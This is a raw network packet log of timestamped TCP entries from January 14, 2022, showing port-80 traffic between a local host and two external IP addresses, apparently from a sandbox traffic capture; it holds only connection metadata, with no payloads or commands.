Jan 14, 2022 20:30:12.362528086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362546921 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362554073 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362566948 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362586021 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.362593889 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362689018 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.362719059 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.370780945 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370815992 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370832920 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370851040 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370870113 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370893955 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370901108 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.370925903 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370932102 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370939016 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.370951891 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.370970964 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.371011019 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.371016026 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.372716904 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.372741938 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.372767925 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.372786045 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.372801065 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.372807980 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.372839928 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.377965927 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.377990961 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378017902 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378036976 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378058910 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378068924 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.378077984 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378098011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378109932 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.378122091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378137112 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.378142118 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.378776073 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.379894972 CET	80	49918	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.379940987 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.379992008 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380040884 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380053997 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380140066 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380158901 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380184889 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380208969 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380208969 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380223036 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380242109 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380264044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380284071 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380295992 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380304098 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380306959 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380323887 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380354881 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380372047 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380388021 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380390882 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380409956 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380433083 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380438089 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380453110 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380474091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.380477905 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380496979 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.380536079 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.382260084 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382280111 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382306099 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382323027 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382333994 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.382344007 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382359982 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382368088 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.382380009 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382396936 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382401943 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.382412910 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382426977 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.382431030 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.383383989 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384475946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384494066 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384521008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384537935 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384558916 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384560108 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384576082 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384579897 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384592056 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384609938 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384629011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384638071 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384645939 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384661913 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384668112 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384677887 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384694099 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384701967 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384713888 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384731054 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384735107 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384747028 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384763002 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384768009 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384778976 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384794950 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384798050 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384813070 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384826899 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384829044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384845018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384859085 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384865046 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384881973 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.384886980 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.384917974 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385108948 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385126114 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385164976 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385188103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385202885 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385224104 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385257959 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385272026 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385287046 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385302067 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385322094 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385323048 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385340929 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385348082 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385359049 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385374069 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385394096 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385396004 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385410070 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385418892 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385451078 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385555983 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385587931 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385605097 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385624886 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385641098 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385658026 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385674000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385678053 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385689020 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385706902 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385711908 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385724068 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.385735035 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.385776043 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386055946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386074066 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386090994 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386111975 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386127949 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386132002 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386146069 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386154890 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386168003 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386183977 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386188030 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386199951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386218071 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386220932 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386234999 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386250973 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386262894 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386267900 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386282921 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.386298895 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.386343956 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387022972 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387660027 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387679100 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387702942 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387718916 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387725115 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387736082 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387757063 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387773037 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387773037 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387789965 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387804985 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387820959 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.387821913 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387864113 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.387882948 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388134003 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388151884 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388165951 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388183117 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388199091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388202906 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388215065 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388220072 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388268948 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388293982 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388310909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388331890 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388344049 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388349056 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388366938 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388366938 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388385057 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388390064 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388402939 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388407946 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388420105 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388441086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388456106 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388457060 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388472080 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388484001 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388489008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388505936 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388519049 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388539076 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388719082 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388761044 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388777018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388817072 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388823032 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388834000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388854027 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388869047 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388879061 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388889074 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.388905048 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.388952017 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391030073 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391051054 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391077042 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391096115 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391115904 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391119957 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391135931 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391155958 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391159058 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391175985 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391186953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391195059 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391215086 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391216040 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391232967 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391259909 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391277075 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391278028 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391299009 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391299963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391319036 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391328096 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391340017 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391359091 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391381979 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391397953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391402006 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391421080 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391427040 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391438961 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391460896 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391479015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391479969 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391498089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391509056 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.391520023 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.391537905 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.393488884 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.393865108 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.396446943 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.402318954 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412415028 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412436008 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412460089 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412503958 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412509918 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412520885 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412544966 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412561893 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412570000 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412581921 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412599087 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412620068 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412626028 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412636995 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412657976 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412661076 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412673950 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412770987 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412797928 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412816048 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412837029 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412853003 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412867069 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412874937 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412892103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412908077 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412914991 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412931919 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412945986 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412952900 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412969112 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.412976027 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412992954 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.412997007 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413009882 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413028955 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413031101 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413044930 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413070917 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413393021 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413412094 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413436890 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413455009 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413475990 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413476944 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413495064 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413512945 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413516998 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413531065 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413548946 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413552046 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413570881 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413589001 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413599014 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413610935 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413630009 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413641930 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413657904 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413675070 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413676023 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.413696051 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.413712978 CET	80	49912	185.163.204.24	192.168.2.4
